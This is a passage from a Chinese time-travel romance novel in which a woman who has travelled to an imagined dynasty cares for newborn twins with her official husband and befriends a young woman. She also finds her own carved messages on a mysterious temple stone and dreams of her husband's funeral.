安声伸手捂住他嘴,满脸羞红。 “左时珩,你在念什么……” 左时珩低笑,握住她手,嗓音在夜色里沉沉的,更富有磁性。 “……收到你的来信,我读了很多遍,有些不满意,你只说好事,不说坏事,一定是不坦诚,还有,你的信太短,没说想我,也没说爱我。” “左时珩!” 安声深埋在他颈侧,整个人煮沸了般。 有些话写是一回事,说是另一回事,何况被他这样当面念出来,让她当真羞耻不已。 此刻真是讨厌他过目不忘的本事,怎么就一字不落全了背下来。 故意逗她似的,他继续念着—— “……虽不满意,但我原谅你了,你没说的那份,我替你一起说。” 他贴近安声,缓缓吻着她的面颊,温热的唇轻擦过她早已通红的耳廓,引起一阵颤栗。 “我爱你,我爱你,我爱你,我爱你……” 缱绻情话似盈盈柳絮飘然落下,一字一句灌入耳中,直抵心脏,又随血液漫遍全身,仿佛触电般酥麻。 他气息灼热,密不透风地包裹着安声,紧贴着她的心脏飞快跳动着,与她的渐渐同频。 “整整写了一页的……我爱你,纵远隔千里,我也听清了。” 如此直白炽热地表达爱意,唯有他的阿声,嵌入他寸寸骨骼血肉里,再难分离- 翌日一早,左时珩去了医馆,大夫见他伤口,责怪他来得太迟,那线都几乎与血肉长在一处了,只怕拆起来生疼。 左时珩皱皱眉,道:“那您拆了再帮我处理一番,别让它看起来吓人就好。” 大夫摇头,用火灼了剪刀,小心剪短了线,将线抽出时,牵动皮肉,渗出一连串的血珠,疼得左时珩冷汗直流。 一时血也止不住,让大夫上了药后,便在医馆待了会儿才走。 他回时,稳婆刚替安声排了恶露,又将一个孩子抱来给她陪着。 安声侧过身子试图给宝宝喂奶,但是奶水不足,宝宝用力吮吸,只吃了几口便吃不到,于是哭闹起来,怎么哄也无济于事,眼见着宝宝小脸憋得通红,她有些慌乱,忙任由李婶将孩子抱去给了奶娘。 李婶安慰她不用自己喂还轻松些,叫她别多想,安声应声,说自己累了,要再睡一会儿,侧身向里,不知怎的,心绪纷杂,忽然默默流泪起来。 直到熟悉的气息靠近,将她拥住,她才转身埋进左时珩怀里,低低啜泣。 “我以为……我会是一个好妈妈……但我不是……我不是……” 左时珩轻轻拍着她,温声同她说起从前。 “我幼时家境贫寒,父母都吃不饱饭,家中养了几只鸡,每月约有二十个蛋,父母皆舍不得吃,都存了卖钱,母亲怀孕后,父亲心疼她,每每藏起几个,待母亲没胃口时,悄悄伴入小粥给她补一补,后来母亲生了我,月子也没坐,第二日就下地干活了,终是劳累倒下。那日,父亲杀了只鸡给母亲炖汤,母亲知道后哭了一整夜……母亲太过瘦弱,没有奶水,便以米汤喂我,将我养大,我懂事后,并不会因没被娘亲喂而心怀不足,反而愈发感激生养之恩。” 只是子欲养而亲不待,也是他此生最大遗憾。 安声听他不紧不慢地说着,他的声音似有魔力,让她的情绪慢慢平静下来。 她甚少听他主动提起父母,因怕他伤心,她也很少主动问起,只知他从小过得艰难,失去双亲后尤甚。 “阿声……”左时珩柔声道,“你我是不是好的父母,不该由自己评价,要等孩子长大后,听他们如何说,对吗?” “嗯……” “道阻且长,直到他们成人,我们还有十几年的岁月要携手努力,眼下这小小的难关不算什么,是吗?” “对。” 他低笑,亲了亲她:“若是眼下就伤心的话,那日后岂不要当个小哭包?” “我不是,我不要,我不会哭了。” 安声抬起头,从他怀里坐起来。 左时珩笑笑,去拿了湿帕子给她擦脸。 安声吸了吸鼻子,情绪缓过来便好多了,顺势握住他手,问起他伤口的事。 “大夫怎么说?你快把药膏拿来我给你上药。” “大夫说我年轻力壮,恢复得不错,不过在医馆已上过了,须等睡前再弄。” 安声略略放了心,不过等夜里叫他将衣裳脱下,看见他拆线后的伤口时,仍倒吸一口凉气。 伤口边缘一圈都红了起来,似乎还渗了血,只是被止住了,她在他衣裳里层见到了染上的血迹。 她眼圈一红,但说到做到,硬生生将眼泪憋了回去。 给他涂抹药膏时,手指都有些发颤:“若是疼,就跟我说,我再轻点。” “好……嘶,疼。” 安声手一抖:“我还没碰你呢……” 他唉声:“失策了,演得不像。” “真是吓我一跳。”安声笑着在他肩上捶了下,这么一闹,真正上起药来,下手反倒不紧张了。 上了药,又拿了布带仔细缠上,沿着胸腹绕了固定住,问他:“是不是不能沾水?” “洗澡时小心些就好。” “在你后背,要怎么小心?洗澡时我要跟你一道,睡觉时侧躺着,不要压到伤口,知道吗?” 左时珩认真应:“遵命。” 安声莞尔,心下松快更多- 这次左时珩奔赴高平府,夙夜忧劳,抢险救灾,将黄泛区的决堤勉强控制住了,但他提出束水攻沙之法,修筑工程却非一日之功,至少须一年时间,效果如何,还待明年汛期检验。 不过他劳苦奔波,又赶上夫人生产,朝廷夺情,赐予恩典,准他一月休假。 因此,整个冬月,左时珩都无微不至地照顾着妻子,直到她慢慢恢复,行走自如。 出了月子,又到腊月,天冷得很,安声也并不怎么出门,只是心情比之前愉悦许多。 她琢磨着自己果然受激素影响很大,月子里情绪无常,动辄落泪,甚至想到日后可能分离之事,也总往坏的方面去想,乃至偶尔夜半惊醒,惶惶难安。 关于两个孩子方面倒好一些,有奶娘与李婶协助着,她的确省心许多,也跟着学了不少。 起初,岁岁与阿序但凡有些“异常”,譬如吐奶、哭闹不止、发疹子之类的,她都焦虑的不得了,生怕他们出什么事,又自责自己怎么不在现代时多查些资料,以至于现在一无所知。 好在左时珩实在是个沉着冷静的人,再紧急的情况,也不至于慌了神,总能从容不迫地解决。 对两个孩子,他也亲力亲为,能自己照顾的便不假手于他人。 好在有左时珩,幸好是左时珩。 安声不止一次庆幸她的选择。 到了年底,工部也闲下来,左时珩的假期虽然结束,每日也不过去应个卯,再整理些旧年文书罢了,早早便能回来。 腊月中旬,小院迎来贵客,工部尚书苏博苏大人的夫人亲自登门来看望她与两个孩子。 老夫人是个十分慈祥之人,与她说了许多,嘱咐了许多,临走时送了两个孩子一双虎头鞋,一双虎头帽,还留下一对长命金锁,说是贵人所赐。 安声不解其意,老夫人但笑不语,只说左时珩大有可为,她亦福气不浅。 她将装金锁的锦盒给左时珩,左时珩打开看了看,从里头翻出一张没有落款的红笺,写着“麟趾呈祥,双珠耀庭”八个字。 安声定睛一瞧,觉得字迹似曾相识。 左时珩已然认出,神色恭敬道:“是圣上御赐。” 安声恍然,不禁目露同情。 原来九年前,安和帝写字还更难看啊,但他还挺有自信的,送礼就送礼,还非要附上字帖一张。 说起来,此次又与从前不同,她还没见到过帝后呢,可见有些事若非细心觉察,极难感知到改变,不知是好是坏。 第63章 又见 年前只下了一场大雪,都说瑞雪兆丰年,是新皇登基的吉兆,各地贺表送入宫中,藩王与外国使臣进京朝贺,一时热闹非凡。 安声这个冬日哪里也没去,她身体尚未恢复,天冷风大,左时珩也不要她出门,她闲来无事时,便练练字,看看书,陪着两个孩子玩。 她还教了李婶他们做小吃,于是又一次吃到了安和九年的糖葫芦,双皮奶之类的,也发现自己果然不爱姜,出了月子就喝不下去了。 她还兴致勃勃地给孩子做衣裳,奈何实在不擅长,未免浪费布料,只得作罢。 至于绣花,若不翻到背面,正面倒也勉强能看,只是她耐心不足,实在做不到拿着针线一整日,只能绣出一小块图案。 对此她还是有些挫败的。 她对左时珩说:“其实我想绣个荷包啊手帕啊什么送你,用你们这里的方式表达爱意,但是……” “但是?” “但是我失败了,不是我不爱你,是我能力有问题。” 左时珩笑个不停。 安声扑倒他:“左时珩你最好不是在笑我,其实我也就谦虚一下,我小时候也是绣成过十字绣的。” 虽然整个暑假只绣了一个卡通人物的脑袋罢了。 “十字绣是?” “不要问,好汉不提当年勇。” 左时珩翻身将她压在身下,笑问:“那方才是谁提的?” 安声脸不红心不跳:“你提的。” 左时珩笑出声,但配合道:“好,我提的,我不知什么是十字绣,但知道阿声曾经绣过十字绣,是个好汉。” 他明眸浅笑,安声眨了眨眼,忽而亲他。 “左时珩,你长得太好看了,我好喜欢。” 左时珩猝不及防,耳尖蹿红,却面不改色:“嗯。” 嗯?嗯? 嗯什么嗯? 安声抬手搂住他脖颈:“如今这么淡定呢,左大人?这个时候你应当回吻我。” 耳后的红蔓延至面颊,左时珩撇开眼神,气息不受控的灼热,声也低沉:“岁岁和阿序都在房里。” “才睡着不久,没有那般容易醒。” “……” 他呼吸急促起来,仍是摇头。 “天还亮着,不好……” 安声已不想听,用一个吻封缄了他所有推辞。 窗外余晖漫入,将床帐染得金黄。 帐内逐渐温柔缠绵,春光旖旎。 只是不久,摇篮里咿咿呀呀起来,似得不到父母回应,转为啼哭,两个孩子一唱一和的哭,愈发吵闹。 帐内忽然安静,片刻,安声仰天长叹一声。 “……他们怎么不能一眨眼就长大呢?” 左时珩轻笑不已,下榻将阿序抱起,又去哄岁岁。 “或许待他们真的长大,为人父母者,又开始怀念他们幼年太过短暂了。” 安声快步过来俯身将岁岁抱在怀里,只略哄一哄她便不哭了,乖的不得了。 她忍不住朝女儿稚嫩的脸上亲了一口,母爱泛滥。 “你爹爹说得对,再让娘亲多抱一抱才是。” 不过,也还好请了奶娘。 她真庆幸当时左时珩替她做了决定。 转眼到了除夕,穆山与李婶将小院上下打扫得干干净净,又买了不少菜,安声给穆诗买了身喜庆的新衣裳,还带着她剪纸,贴窗花,忙得不亦乐乎。 岁岁与阿序的奶娘住得不远,也在长锦坊,早上来过后便领了赏银暂时回家忙去了,等下午晚上再来。 今岁与去岁不同,小院多了穆山一家,热闹很多,穆山做事认真负责,李婶烧得一手好菜,穆诗更是聪明能干,出落得也愈发水灵。 午后,安声与左时珩在书房讨论百岁宴的事。 安声并不希望人太多,左时珩亦赞同,他本就不在朝中四处结交,算得上有交情的同僚不过寥寥。 安声拿了名单,将二人商议出的名字一一写上。 当先自然是包括刘大学士、苏尚书,杜侍郎在内的几位会试考官,所有进士均算得上他们的门生,不能不承恩,其余便是张为是等几位同年,另有几位职务上正有来往的官员,即便算不上交情,倒也应该送一份请帖。 其次就是同住长锦坊的近邻,平日也多有交集,互相走动,大多为人淳朴热情,左时珩远赴外地那段时日,给她帮忙许多。 且李婶性子好,与左邻右舍的几乎打成一片,甚至那些卖肉卖菜的小商贩,也没有她不认识的。 待列完清单,安声搁笔叹道:“家真没那么好当,人情世故太多了。” 左时珩揽她在怀,温声:“这些事的确麻烦,若是不想做的,皆交由我来处理即可。” “那怎么行,这点事我都不能与你分担的话,岂不是显得我好吃懒做?” “那你想好吃懒做吗?” “……我想。” 左时珩低声笑。 “不行不行。”安声坐到他腿上,“我怎么一不小心把心里话说出来了,你再重新问一遍。” “那,阿声想好吃懒做吗?” “我想!!!” “哈哈……” 安声伏在他肩上,理所应当:“我也就遇上了左时珩,才纵我好吃懒做,以前我起得晚了,要挨骂,书念不好,也要挨骂,即便什么都没做,父母吵起架来,我还要挨骂。” 父母离婚前那段日子,她仿佛得了惊恐症,一点儿动静都在她耳边无限放大,使她心惊肉跳,生怕下一秒父亲便冲进来摔打她的课本,或是母亲摸黑进她房间,站在她床边哭泣抱怨,吓得她以为见了鬼。 她不知自己要怎么做才能使他们满意,她成了他们互相伤害的筹码,被拉扯得体无完肤。 与外婆相处的那三年,成了她日后治愈自己唯一的甜。 若非有这一遭奇妙经历,若非遇见左时珩,她余生只怕也只能反复咀嚼少年的那一段短暂光阴了。 左时珩收紧手臂,将她淹没在怀里,脸依偎着她的蹭了蹭。 “不会再有那样的日子……你可以想睡多久睡多久,想做什么做什么。” 他声音低低的,蕴着掩不住的心疼与爱意。 “所以我才要在这里。” 安声闭上眼,紧贴着他,满是依恋。 她不要回去,不要回家。 她要与左时珩永远在一起- 大年初一,安和帝于太和殿举行国宴,邀王公贵族,一二品大臣以及外国使节赴宴,礼仪森严,规格极高。 太后及皇后则在内廷举宴招待王妃、诰命夫人等内眷。 安声犹记得安和九年时随左时珩去赴的一场中秋宫宴,不过此时的左时珩品级不够,尚无赴宴资格。 能安心过个年,不用折腾,安声倒乐得轻松。 年前几日,她还雇了人去城外破庙看一看,人回来告诉她,破庙空空,不像有人住。 老乞丐果然离开了,无法赴他们孩子的百岁宴,亦不知是否还能再见,能否亲眼见到她的儿女,安声为此惆怅许久。 时光匆匆,过了年转眼便到了正月底。 提前七八日,穆山李婶就已忙起来了,租赁桌凳,购置锅碗瓢盆,以及许多零零散散的小物件。 安声与左时珩身为孩子的父母,反而落了清闲。 不过他们皆不喜铺张浪费,也不爱吵闹,举宴规格不大,办了五桌席面,宾客约二十几位,大多都是邻居与同僚,身居高位的几位大人没有亲至,只让内眷前来代为庆贺。 安声与左时珩虽不信神佛,但按规矩依旧在正厅设了香案,供了送子观音,两侧贴了红纸对联,写上吉祥祝福。 待到吉时,将孩子抱出来见过宾客。 两个孩子戴着长命锁,由一位特意请来的九十岁的老人在孩子眉心点上一点红。 岁岁与阿序刚睡醒不久,乍见众人,倒也不哭不闹,十分惹人喜爱。 转了一圈,安声才回到屋里,女眷便跟进来看孩子聊天送礼,左时珩则留在外面招待来客。 来的几位夫人小姐安声大多不认识,有些在安和九年时听过名字,但也不熟。 倒有一位十六七的少女,模样清丽娇俏,是跟着母亲来的,她父亲是一位吏部主事,当初左时珩任命工部司郎中的文书是他所写,有几分面上的交集。 她一见到安声便认出来了,趁母亲去看孩子,自来熟地拉了她到一旁说悄悄话:“夫人叫过我的名字对吧,但如何知晓我的闺名呢?” 安声笑答:“你长得似我一位许久不见的故人。” “她……也叫林雪?” “是。” 少女立即就信了,掩面低呼:“天呐,天下竟有这么巧的事!” 安声笑着问起她当日怎么去天外山,她反问她:“夫人难道不是去看那块著名的奇石的吗?” 安声略一沉吟,摇头:“我没上去。” 林雪:“难怪,你怀着孕自然不便,我父亲去年升任吏部主事,我和母亲是今年才进京来,听说天外山来客寺有块天外奇石,便赶去看了,倒也看不出什么名堂,只是形状奇特了些,上面还有好些乱七八糟的划痕,倒不如天外山的风景好呢。” 安声点头:“我也听说许多人喜欢往上刻些诗句文章,想去看却没来得及,打算过段时日再去。” “刻的乱乱的,字上有字,也分不出完整的诗,倒有一句比较奇怪,我记住了。” “什么?” “是‘字在石上,不会消失’。”林雪一笑,“你说怪不怪?没头没尾的一句,不知是谁留下的,字倒写的还不错。” 她余光瞥见桌上一幅写了一半的字帖,“咦”了声:“和夫人你的字倒有一点像呢。” 安声大脑空白了瞬,心中震惊莫名。 “字在石上,不会消失”,分明是安和九年时,林雪说“她”曾经写上的,意味着时空倒转,她,还没来得及写这一句才对。 不会消失,难道是真的“不会消失”? 第64章 所想 许是安声略呆滞的反应惊到了林雪,她喊了她两声:“夫人,你怎么了?” 林母听到,立即过来问何事。 安声回过神,扯了个笑:“无妨,正说起天外山的事呢,林妹妹说你们去见过那块奇石,我也有兴趣。” 林母笑道:“原来如此,我们是去看了,不过看了也就那样,没什么好看的,倒是天外山风景秀美,值得一去。” 又说起林雪:“我这女儿啊什么都好,就是从小娇惯,性子跳脱,没大没小一惊一乍的,只怕要嫁了人才能好些,希望夫人不要责怪她失礼。” 安声心念一动,问:“目前已有婚约了吗?” 林母正要说,被林雪抢白:“没有,我不嫁。” 林母拍了她手背一下,皱眉:“在外头说些什么胡话。” 林雪绷着脸不语。 林母向安声讪笑道:“您瞧见了,性子就这样倔,让您见笑。” 安声忙摇头。 正巧岁岁哭了,李婶抱来给她,她接在怀里哄着,又拍拍岁岁的背给她排气,很快岁岁也就不闹了,一双葡萄般的眼睛左看看右看看,林母忍不住逗她,她便笑起来,摆弄着小手小脚。 林母喜爱得很:“真真叫人心都化了。” 林雪也觉得可爱,拿手指逗岁岁,岁岁握住她的手指,笑得开心。 林雪眼眸亮亮的:“好乖的宝宝啊。” 林母插话:“你嫁了人自己也能生个这么乖的。” 林雪脸又垮下来,闷闷不乐。 安声瞧得好笑,顺势问起是和哪家定的婚事。 林母瞥了林雪一眼,道:“是新晋刑部右侍郎陈律陈大人,年纪轻轻就已是三品大员,如此高嫁,真是八辈子修来的福了,满天下也难找到第二桩。” 林雪反驳:“娘只说好处不说坏处呢?那人比我大了十岁,又整天和什么囚犯啊死人啊打交道,多吓人,说不定他妻子就是被他……” 后面的话被林母一个眼神吓了回去。 “你真是无法无天,连基本教养都没有了,这不是在宜州,而是在京城。” 林雪红了眼眶,抿嘴不语。 安声立即打圆场,又将岁岁交到林母怀中,让她抱一抱,岁岁可爱,一逗就笑,气氛很快缓和下来。 安声低声对林雪说:“我明日想去天外山一趟,你若有空,是否愿陪我?” 林雪诧异:“我?” “嗯。”安声笑道,“我觉得与你甚是投缘,不知你意下如何,何况……” 她放低声音:“我可以向我夫君打听一番那陈律师的为人品行以及样貌,讲与你听。” 林雪眸子一亮,满口答应下来。 不过还不忘纠正一句:“他是叫陈律,不叫陈律师。” 安声噗嗤一声。 晚上她将今日之事一五一十说给左时珩听,左时珩听罢摇头:“我只怕帮不上忙,你说的这位刑部侍郎,与我没有任何交集。” 安声绕过去给他捏肩,在他耳畔笑:“不用,只是我与林雪很是投缘,想与她结交,那位陈律师不重要。” 左时珩伸手将她揽到身前。 “所以,你明日要去天外山么?” “嗯,反正也不远。” 左时珩略一思忖,点头:“那便让穆山跟着,我好歹放心,另外,上山下山太累,不要逞快,若是哪里不舒服便……” “我知道啦左大人,我是去出门不是去打仗。”安声笑起来,亲了亲他。 左时珩叹了口气,将她拥紧怀里,在她后颈处轻轻落了个吻。 “嗯……那早些回来。” 灼热气息倾洒,火一般沿脊椎向下烧了起来,安声颤了颤,立刻有了反应。 她呼吸不由自主急促着,力气仿佛被抽干了一半,绵软地倚在左时珩怀中,因他一个温柔的吻而沉沦。 左时珩低低笑了几声,吻如春风拂面,掠过她后颈,肩膀,沿颈侧往上,轻含住耳廓,化作春雨缠绵。 他知道她的敏感,也很喜欢。 在妻子于他臂弯中轻颤时,放了玉钩纱帐,翻身将她圈入怀中,从温柔到霸道,密不透风地吻她,托起她的腰肢,攫取对她贪欲的渴求。 …… 林雪提前到了山脚下等她,安声下了车忙与她道歉,解释说出发前两个孩子闹着要娘亲抱,才耽搁了一会儿。 林雪笑道:“不要紧啊,反正我也没等多久,而且我可喜欢夫人您的孩子了,真是可爱。” 安声笑了笑,执了她的手往山道上去,穆山与林雪带的两个侍女仆从在后头不远不近地跟着。 “我听说陈大人元配病逝前留有一女,今年八岁,亦是乖巧可爱,你会喜欢她的。” “那又不是我的孩子,她纵然再乖巧,也非我亲生,若她心里始终惦着她母亲,指不定还要怨我呢,如何会同我亲近。” “你以真心待她,必能收获她的真心,她娘亲早逝,也是个可怜孩子,你若能将她视作亲生,她又如何不愿与你亲近呢。” 林雪若有所思,片刻,摇头:“我不知道,我没给人当过母亲。” 安声未再多说,若非她知晓这是一桩不错的婚事,她也不敢如此信誓旦旦。 林雪没忘问起关于陈律的事,安声便将她所了解的情况大致说了说,也没说的太详细,毕竟这是安和二年,七年前的陈大人具体是个什么性子她也不确定。 不过她看出来,林雪的态度没有原先那样抵触。 她原本最难接受的是她要给人作续弦,还是个年近三十掌管刑罚的冷酷男人,不免在脑中构出一个青面獠牙,满脸阴森的可怕形象。 与安声这么一番聊罢,她对这位素未谋面的未婚夫渐渐有了实感,便不至于胡思乱想。 聊至兴起,她道:“幸好昨日来赴宴,结识了姐姐你,否则我真是要在家里闷死气死了。不过原先我母亲要来,我是不想来的,她偏要我一起,说是让我看一看孩子多么可爱,作母亲多么高兴,免得我整天说不嫁人。” 安声问:“你被这个理由说服了?” 林雪忽然羞赧,纠结片刻,才坦诚道:“不是,我是听说左大人是新科状元,品貌非凡,好奇想看一眼。” 安声一怔。 她忙解释:“我真没有别的心思,只是心直口快,你别误会。” 安声拍了拍她肩,笑道:“好色之心人皆有之嘛,我与你同道中人。” 林雪眸子倏亮,不期她说话这样不拘,心下立即与她更亲近了,又好奇问:“所以你嫁左大人是不是看中他容貌英俊?” “也算是。”安声顿了顿,补充,“我见过陈大人,长相也不差,你大可放心。” 林雪脸色微红,不禁扬起明快的笑,连脚下路都顾不得了,忽踩空扭了脚,“唉哟”一声,乐极生悲。 安声吓了一跳,扶住她:“要紧吗?” 她面露难色:“不行不行,走不了路了。” 安声记得穆山会一点正骨,想叫他过来看一下是否脱臼了,不料林雪反应极大,脸色大变,连声拒绝,只得作罢。 好在此处离山门不远,她两个侍女便半背半托着她,进了来客寺,被僧人引去客房暂歇。 安声陪了她会儿,见时候不早,独自前往立石殿。 时近正午,阳光极好,跃窗棂而入,将经幡映得熠熠生辉。 殿中无人,奇石无声,她亦静立。 香案上供一鎏金铜炉,三柱檀香青烟直上,袅袅遁入浮尘,经久不散,宛若将殿中所视披上轻纱,朦胧如梦。 时空逆转,安声从安和九年来到安和二年,重新见到了这块不属于这个世界的石头,一时思绪纷杂。 她想,她亦不属于这个世界,她仰头望着神祗般被供奉的人形奇石,阳光被烟雾扭曲散射,化作彩色虹光,恍惚间,是两个外来者正透过扭曲的时空沉默对视。 她真想听到它的回答,但它,始终无言。 安声站在原地,长长呼了口气,按捺住飞快的心跳,走近它,触摸它,去看它周身未被时空影响的所有痕迹。 她手指一寸寸摩挲过它粗粝的表面,果然找到林雪说的那句——“字在石上,不会消失”。 她闭眼缓了缓,复睁眼,快走两步绕到一侧,细细凝视。 蓦然,她瞳孔一缩。 依旧是那句英文,只是同从前比,它更模糊了,落在刻痕之下,勉强才能辨别。 安声伸出手,碰了碰,手指遏不住发颤。 她眼尾发红,低不可闻地念出那句话:“我于安和十年见到他的一座坟茔……” 在那个令她悲痛欲绝的梦里,她亲眼见到了安和九年的最后一场大雪,那场大雪埋葬了左时珩,像漫天的纸钱,将他那具沉黑棺木,渐渐送往远方。 她回过神,顾不得眼泪滑落,又去找最初那句谶言,它在石头的背面,是她最初面对的恐惧。 “第十一次……”安声呢喃着。 若按照划痕的分布仔细分辨,这句较另一句要更为清晰,若是无论时空如何流转,留在石上的字迹都不会消失的话,那说明这句在那句之后。 这是否意味着,她找到了打破循环的方法,只是回来得迟了,左时珩在漫长的等待里已经病逝,所以她选择了重来? 或许,曾有一次,她在安和十年回到了丘朝,但是太迟了。 之后,不知几次,用了什么方法,她终于又回到了安和九年,但仍是晚了一步。 正如那个梦里,她只能呆呆地望着左时珩的棺椁远去,而无能为力。 她立在原地沉思,心跳如鼓,心乱如麻。 似抓住了什么,又好似雾里观花。 “夫人,时候不早该下山了。” 穆山在殿外喊她。 她一惊,回过神,见日头西斜,一束光正打在奇石似人的面容上,无口无目,缄默无声。 她应声,从石头背后绕出,往外走去。 刚跨过门槛,殿内突兀响起左时珩一声急切呼唤:“阿声!” 安声猛地回头—— 什么也没有。 她睁大眼,看向穆山,后者一脸莫名,不解地望着她:“怎么了,夫人?” 显然,他没听到。 安声干咽了下,心跳得飞快。 “无事,回吧。” 第65章 混沌 她在立石殿耽搁了一段时间,安排僧众找来软轿抬林雪下山又耽搁了一段时间,抵达山下时已金乌西坠。 安声检查了番林雪的脚,见已红肿起来了,有些严重,不由蹙眉,自责忘了嘱咐她,在寺内时该冷敷控制。 林雪拉了她小声说:“他们也这样说,是我不要。” 安声问:“为何?” 她那张尚有几分少年气的玉颜羞得通红,愈发压低声音:“我将要嫁人了,怎能让男人碰我的脚,万一破了身子怎么办?” 安声露出难以置信的表情,盯着眼前林雪看,看得她浑身不自在,才笑出声。 “你觉得男人和女人是如何生孩子的?” 她含糊不清:“姐姐你怎么能在外面问这个……”暮色透过马车窗口落在她眉眼间,连眼睫也颤起来,甚至忘了疼,声如蚊蚋。 “自然是有肌肤之亲……盖一张被子就……” 安声:“啧。” 遥想安和九年的林雪,实难与眼前这位羞怯天真的少女合二为一。 “你将要嫁人了,母亲没有教过你这些?” “我将要嫁人又还没嫁人,早问这些多不知羞啊。” 她捂住发烫的脸,说不下去,脚腕也疼得不行,便说要回去了,待脚好了,得空去找她玩。 安声咋舌不已,应她:“欢迎你来。”又附耳过去,低笑:“不敢问你母亲的,可以问我。” “欸呀说什么……” 林雪扭捏转首,“真是好不正经,我不去找你了。” 安声忍不住笑,目送她家车马远去。 直到走出一段距离,马车内的林雪都还心跳怦然,握住脚腕,脑中原先幻想的那位青面獠牙的陈大人,似乎已变了样,变得人高马大,威风凛凛。 穆山驾了车往回赶。 二月初的时节,天黑的仍然很快,转瞬天边只有云霞迤逦,天外山薄雾隐隐,在一片暮色下,朦胧得宛若海市蜃楼。 马车没跑多久便停下,穆山敲了敲隔门,笑道:“夫人,大人来接你了。” 安声探窗望去。 这会儿连云霞也不见了,只有将透未透的靛蓝,将尽未尽的天光,左时珩身着月白长袍,骑一匹棕色的快马,撕开苍茫暮色飞奔而来。 …… 马蹄声哒哒,不急不缓地清脆地响在夜色里,穿过长街,行过晚市,融入数点摇晃灯影之中。 “冷不冷?”左时珩问。 “不冷。”安声应着,呵了口气,握住他握缰绳的手,“不能逛了,得快些回家,岁岁和阿序肯定很想我。” 他将下巴轻抵在她头顶:“怎么不先问我想不想。” 安声戳戳他手背:“我们夫妻一心,我在想你,便知你也想我,无须再问。” “真是讨巧的回答。”左时珩笑着反手将她手包入掌心,又问她,“同林姑娘玩得如何?” “应当还不错,她已从一口一个夫人变成一口一个姐姐了,不过我不希望她这样称呼我,我只想与她做朋友。” “会的。” 安声诧异他笃定的语气。 他垂首在她脸庞轻蹭,嗓音低沉温柔:“因为,没有人会不喜欢我的阿声。” 他更是,一时一刻也不愿同她分开。 因此他无比庆幸他们已是夫妻,至亲至爱,世上不会有人比彼此更为亲密。 果不其然,才到家,李婶与奶娘就匆匆抱了两个孩子来,说一整日没见到爹娘,哭闹不止,怎么哄都不行。 安声抱了阿序,转头去看左时珩。 他拍拍女儿的背,颇有些愧意:“下值回来只换了衣裳就出门了……” 安声在心里叹了口气,两个孩子太小,的确是半点离不了人,若非今日所见给她震惊太大,她也满心惦记着岁岁与阿序,不舍得在外面多呆。 与左时珩好一番哄弄,才逗得宝宝安静下来,抱去给奶娘喂奶,等他们都乖乖睡着了,他们才顾得上吃饭洗漱。 左时珩去了书房忙公务,安声则上了榻,抱着枕头发呆。 诚然,白日的事绕不过去,她不能不想。 她似乎可以确定一点,在不断重来中,她每次都会在奇石上给下一次的自己留些信息,以免重蹈覆辙,让自己在前次的错误上不断修正,直到修正到一个完美的结局。 但她留下的信息太短太少,似是而非,又让她苦恼。 此点她也能理解,一则如今的来客寺较之安和九年名气更大,香火更为鼎盛,人也更多,她今日去时,寺中也有不少游客,不过她去立石殿时为中午,那会儿才没有人。 她寻不到时机在石头上长篇大论,留下很多信息。 二则,石上刻字艰难,上次她以金簪划了个坑都费了不少力气,何况写字。 三则,若要隐去信息,不被旁人解读,必要用英文写,而在文人来来往往的奇石面前,一种特殊语言容易引起注意,或被呈报或被毁去,只有一两句关键信息,以字母形式散落在重重叠叠的刻痕中,才不会显眼。 刻于石上的字虽不会消失,但会被覆盖或损毁,从而辨认不清,这大约就是,她从安和九年至今,去了许多次来客寺,也不过找到寥寥几句的原因。 不知多久,一股清冷好闻的白梅香气萦近,她习以为常地转身,自然落入温暖熟悉的怀抱里。 “怎么还没睡?”左时珩低头亲她,“爬了一日山还不累么?” 安声道:“身已疲累,但脑袋却很清醒。” 左时珩轻笑,在她额上落下一吻。 “那脑袋里在想什么?” 安声抿了抿唇,逃避似的将脸埋进他颈窝。 左时珩不解,却未追问,只道:“若是没有头绪,便不必急在一时半刻,日后再想。” 安声闷闷应了,愈发贴近他,几乎整个人都淹没在他怀里,仿佛这般才能获得安全感。 左时珩将被角掖好,屈膝收臂将她环住,柔声问:“要这样睡么?还是想说会儿话?” 安声缄默片刻。 “……我困了。” 她与左时珩之间无话不谈,甚为坦诚……除了这件事。 左时珩安静许久,终是没问,只摸了摸她头发。 “好,那睡吧。” 安声也不知自己多久才坠入梦乡,但她“醒来”是在梦中,或者称为半梦半醒更为贴切。 梦里的她十分清醒,却又没识破这是个梦境。 她正拼命跑着,气喘吁吁,累得小腹处传来阵阵尖锐疼痛,胸腔中的心跳也完全失控了,咚咚咚的,似乎直接敲打在耳膜上。 终于,她停了下来,眼前赫然出现一座坐北朝南的府邸,门前一对抱鼓石,高悬的门楣上题“江左夷吾”四字。 与印象中像是不同,这座沉静的府邸并不沉静,反而十分“热闹”。 她走进去,满府缟素,哭声不绝。 她又往里走,见到一间灵堂,灵堂摆着一具乌黑的楠木棺椁,棺椁前是一牌位,书有两行字,安声看不真切,便上前去,将牌位捧了看。 “皇丘诰赠光禄大夫谥文襄,工部尚书显考左公讳时珩府君之神主”—— 安声略过那些陌生的称号,手指摩挲着“时珩”二字,眼泪成串地掉落。 她将牌位放下,三步并作两步走到棺椁面前,用力去推,但是棺盖纹丝不动。 她哭得没有力气了。 她抱着棺材,将脑袋抵上去,缓了许久,直等到日落月升,寒意袭人。 朔风如刀,寸寸切肤。 她一身热血都凉透了,四肢僵硬,浑身作痛,胸腔里一颗心更是早已沉寂,感受不到跳动。 她又去推棺盖。 不知怎么,这次轻轻一推就滑开了,露出一半空间。 她踮起脚,低下头,见到了静静躺着的左时珩。 他双眸轻阖,面色苍白,像是睡着了,但睡得不安稳,眉头蹙着,眼尾隐有未消退的残红。 安声轻笑,泪珠落了下来,伸手去抚摸他冰冷的脸庞。 “左时珩,我回来了。” “左时珩,看看我,我回来了。” “左时珩……” 她伏棺而立,呜咽不成声。 灵堂从夜里到白日,从白日到夜里,似乎有无数人影来来往往,交谈声哀哭声交织不断,安声一个字也听不清。 她依旧站在原地,趴在棺沿上,凝望着生机断绝的爱人。 有一日,天降大雪,冰冷彻骨。 她转头看向庭中,鹅毛似的大雪被风卷着无序乱飞,飘扬的雪落在树上,阶上,窗上,也吹进了灵堂。 她再回头,灵堂竟是空空荡荡,不见人影,更不见左时珩。 她慌乱中追出去,见浩浩荡荡的送葬队伍,抬着那具乌木棺椁在大雪中逐渐远去,她立即追了上去,却似乎始终无法靠近,只能维持着不远不近的距离,任由那具承托着她夫君的棺椁,在她瞳孔中烫成一个墨点。 她追随着那个墨点,在大雪中蹒跚,跌跌撞撞地不知走了多久,雪更大了,茫然失却前路。 